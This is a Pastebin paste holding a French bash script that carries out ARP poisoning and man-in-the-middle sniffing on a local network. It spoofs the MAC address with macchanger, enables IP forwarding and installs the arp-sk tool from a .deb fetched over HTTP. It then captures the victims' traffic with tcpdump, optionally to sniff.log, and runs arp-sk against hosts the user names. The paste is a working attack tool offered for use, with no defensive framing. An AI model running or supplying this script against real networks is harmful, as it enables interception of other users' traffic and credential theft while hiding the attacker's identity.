Advertisement
Guest User

Untitled

a guest
Nov 20th, 2018
115
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 5.70 KB | None | 0 0
  1. #!/bin/bash
  2.  
  3. set -e
  4. set -u
  5.  
  6. if [ $# -gt "0" ]
  7. then
  8. echo -e "No arguments used with this script\n"
  9. exit 1
  10. fi
  11.  
  12. if [ $(whoami) != "root" ]
  13. then
  14. echo -e "Connectez-vous en root pour continuer\n"
  15. exit 1
  16. fi
  17.  
  18. clear
  19.  
  20. echo " ______ ___ ___ __ __ __ __"
  21. echo " /\\ \\ |\\ \\\\ \\|\\ \\ |\\ \\|\\ \\ |\\ \\"
  22. echo " |\\ ######\\| ##/ ##/| ## | ##| ## | ##"
  23. echo " | ##___\\##| ## ##/ | ## | ##| ## | ##"
  24. echo " \\##\ \\ | ####/ | ## | ##| ## | ##"
  25. echo " _\######\| ###( | ## _| ##| ## | ##"
  26. echo " | \\__| ##| ####\\ | ##/ \\ ##| ##_____ | ##_____"
  27. echo " \\## \\##| ## ##\\ \\## ## ##| ##\\ \\| ##\\ \\"
  28. echo -e " \\###### \\##\\_##\\ \\######\\ \\######## \\########\n"
  29.  
  30. echo -e "\n================================================================================"
  31. echo -e "\t\tBienvenue dans le programme d'ARP Poisoning !!"
  32. echo -e "================================================================================\n"
  33.  
  34. echo -e "\n================================================================================"
  35.  
  36. checkInt=""
  37. interface=""
  38.  
  39. until [[ "$interface" = "$checkInt" && "$interface" != "" ]]
  40. do
  41. read -p ' Votre interface réseau : ' interface
  42. checkInt=$(/sbin/ifconfig $interface | cut -d" " -f1 | grep $interface)
  43.  
  44. if [[ "$interface" != "$checkInt" || "$interface" = "" ]]
  45. then
  46. echo -e "\n\t\t Saisissez une interface existante\n"
  47. fi
  48. done
  49.  
  50. ip=$(ifconfig $interface | grep "inet ad" | cut -f2 -d: | awk '{print $1}')
  51.  
  52. echo -e "\n\t\t Votre adresse ip locale est : $ip"
  53.  
  54. mac=$(ifconfig $interface | grep "HWaddr" | cut -d ' ' -f 10 | awk '{print $1}')
  55.  
  56. echo -e "\n\t\tVotre adresse mac actuelle est : $mac"
  57. echo -e "================================================================================\n"
  58.  
  59. echo -e "\n================================================================================"
  60.  
  61. macChange=""
  62.  
  63. until [[ "$macChange" = "oui" || "$macChange" = "o" || "$macChange" = "n" || "$macChange" = "non" ]]
  64. do
  65. read -p " Voulez vous changez votre adresse mac ?? (oui/non) : " macChange
  66. done
  67.  
  68. if [[ "$macChange" = "oui" || "$macChange" = "o" ]]
  69. then
  70. if [[ -z "$(dpkg -l | grep 'macchanger')" ]]
  71. then
  72. apt-get install macchanger
  73. fi
  74. ifconfig $interface down
  75. changementMac=`macchanger -r $interface`
  76. ifconfig $interface up
  77.  
  78. newMac=`macchanger $interface | grep "Current" | cut -f2- -d: | awk '{print$1}'`
  79.  
  80. echo -e "\n\t\tVotre nouvelle adresse mac est : $newMac"
  81. fi
  82.  
  83. echo -e "================================================================================\n"
  84.  
  85. echo -e "\n================================================================================"
  86.  
  87. routeur=""
  88.  
  89. until [[ "$routeur" = "oui" || "$routeur" = "o" || "$routeur" = "n" || "$routeur" = "non" ]]
  90. do
  91. read -p " Se configurer en routeur ?? (oui/non) : " routeur
  92. done
  93.  
  94. if [[ "$routeur" = "oui" || "$routeur" = "o" ]]
  95. then
  96. echo 1 > /proc/sys/net/ipv4/ip_forward
  97. echo -e "\n \t\t\t\t\tDONE"
  98.  
  99. else echo 0 > /proc/sys/net/ipv4/ip_forward
  100. echo -e "\n \t\t\t\t\tDONE"
  101.  
  102. fi
  103.  
  104. echo -e "================================================================================\n"
  105.  
  106. echo -e "\n================================================================================"
  107.  
  108. installArp=""
  109.  
  110. until [[ "$installArp" = "oui" || "$installArp" = "o" || "$installArp" = "n" || "$installArp" = "non" ]]
  111. do
  112. read -p " Installer le paquet arp-sk ? (oui/non) : " installArp
  113. done
  114.  
  115. if [[ "$installArp" = "oui" || "$installArp" = "o" ]]
  116. then
  117. if [[ -z "$(dpkg -l | grep 'arp-sk')" ]]
  118. then
  119. dpkg --add-architecture i386
  120. apt-get install libc6
  121. apt-get install libnet1
  122. apt-get update
  123. apt-get upgrade
  124. wget http://debian.zorglub.org/packages/arp-sk/arp-sk_0.0.16-1_i386.deb
  125. dpkg -i arp-sk_0.0.16-1_i386.deb
  126. apt-get -f install
  127. fi
  128. elif [ -z "$(dpkg -l | grep 'arp-sk')" ]
  129. then
  130. echo "Installez le paquet d'Arp Poisoning"
  131. exit 1
  132. fi
  133.  
  134. echo -e "================================================================================\n"
  135.  
  136. echo -e "\n================================================================================"
  137.  
  138. if [[ "$routeur" = "oui" || "$routeur" = "o" ]]
  139. then
  140. MITM=""
  141.  
  142. until [[ "$MITM" = "oui" || "$MITM" = "o" || "$MITM" = "n" || "$MITM" = "non" ]]
  143. do
  144. read -p " Voulez vous faire une attaque Man In The Middle ? (oui/non) : " MITM
  145. done
  146.  
  147. if [[ "$MITM" = "oui" || "$MITM" = "o" ]]
  148. then
  149. if [ -z "$(dpkg -l | grep 'tcpdump')" ]
  150. then
  151. echo -e "\nInstallation de tcpdump"
  152.  
  153. apt-get install tcpdump
  154. fi
  155. fi
  156. fi
  157.  
  158. echo -e "================================================================================\n"
  159.  
  160. echo -e "\n================================================================================"
  161.  
  162. echo -e "\t\t ========= ARP POISONING =========\n"
  163.  
  164. read -p " Adresse ip de la source : " adresseSource
  165.  
  166. echo ""
  167.  
  168. read -p " Adresse ip de destination : " adresseDestination
  169.  
  170. echo -e "================================================================================\n"
  171.  
  172. if [[ "$routeur" = "oui" || "$routeur" = "o" ]]
  173. then
  174. if [[ "$MITM" = "oui" || "$MITM" = "o" ]]
  175. then
  176. fichier=""
  177.  
  178. until [[ "$fichier" = "oui" || "$fichier" = "o" || "$fichier" = "n" || "$fichier" = "non" ]]
  179. do
  180. read -p " Ecrire dans un fichier le sniff ? (oui/non) : " fichier
  181. done
  182.  
  183. if [[ "$fichier" = "oui" || "$fichier" = "o" ]]
  184. then
  185. echo -e "\nLe résultat sera écrit dans sniff.log\n"
  186.  
  187. xterm -e tcpdump -w sniff.log &
  188. else
  189. echo -e "\n"
  190.  
  191. xterm -e tcpdump &
  192. fi
  193. fi
  194. fi
  195.  
  196. echo -e "\n\n\t\t\t\t Attaque :\n\n"
  197.  
  198. arp-sk -s $ip -d $adresseDestination -S $adresseSource -D $adresseDestination -T u10000 -i $interface
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement